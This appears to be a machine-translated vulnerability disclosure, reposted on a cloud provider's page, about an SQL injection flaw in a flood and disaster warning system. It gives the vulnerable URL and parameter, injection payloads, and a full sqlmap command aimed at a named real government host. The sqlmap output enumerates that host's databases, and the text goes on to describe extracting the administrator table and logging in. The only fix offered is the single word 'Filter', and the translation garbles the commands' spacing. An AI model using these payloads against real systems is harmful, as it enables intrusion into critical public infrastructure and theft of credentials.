High-risk SQL injection vulnerability in a general disaster warning system

Source: Internet
Author: User
Tags microsoft sql server 2005 sybase web server operating system microsoft iis

High-risk SQL injection vulnerability in a general disaster warning system

 

Injection link:/Plan/FloodPlan/FileEdit. aspx? ReadOnly = & amp; ID = 499


Injection parameter: ID

Payload1:/Plan/FloodPlan/FileEdit. aspx? ReadOnly = & ID =-1 '+ and + 1 = @ version --

Payloa2:/Plan/FloodPlan/FileEdit. aspx? ReadOnly = & ID =-1 '+ or + 'A' = 'a
 

Using http://yj.yywater.gov.cn as a test case:


1) manual injection test

Http://yj.yywater.gov.cn/Plan/FloodPlan/FileEdit.aspx? ReadOnly = & ID =-1 '+ or + 'A' = 'a
 



Error injection:

Http://yj.yywater.gov.cn/Plan/FloodPlan/FileEdit.aspx? ReadOnly = & ID =-1 '+ and + 1 = @ version --
 



2) SQLMAP injection test

$ Py sqlmap. py-u 'HTTP: // yj.yywater.gov.cn/Plan/FloodPlan/FileEdit.aspx? ReadOnly = & ID =-1 '-p ID -- dbms mssql -- level 5 -- risk 3 -- dbs-v 0

---

Place: GET

Parameter: ID

Type: boolean-based blind

Title: OR boolean-based blind-WHERE or HAVING clause

Payload: ReadOnly = & ID =-7178 'OR (6641 = 6641) AND 'mxfx' = 'mxfx



Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based-WHERE or HAVING clause

Payload: ReadOnly = & ID =-1 'AND 4173 = CONVERT (INT, (select char (113) + CHAR (112) + CHAR (103) + CHAR (102) + CHAR (113) + (SELECT (case when (4173 = 4173) then char (49) ELSE



Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: ReadOnly = & ID =-1 '; waitfor delay '0: 0: 5 '--



Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: ReadOnly = & ID =-1 'waitfor delay' 0: 0: 5 '--

---

Web server operating system: Windows 2008 R2 or 7

Web application technology: ASP. NET, Microsoft IIS 7.5

Back-end DBMS: Microsoft SQL Server 2005

[01:32:55] [INFO] resumed: IStrongCMS_ZJYY

[01:32:55] [INFO] resumed: master

[01:32:55] [INFO] resumed: model

[01:32:55] [INFO] resumed: msdb

[01:32:55] [INFO] resumed: StrongMain

[01:32:55] [INFO] resumed: StrongPDA

[01:32:55] [INFO] resumed: StrongWater

[01:32:55] [INFO] resumed: tempdb

Available databases [8]:

[*] IStrongCMS_ZJYY

[*] Master

[*] Model

[*] Msdb

[*] StrongMain

[*] StrongPDA

[*] StrongWater

[*] Tempdb
 

 



3) obtain the Administrator data table

Database: StrongMain

Table: Web_SystemUser
 



4) logon Warning System
 

 


 

Solution:

Filter


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.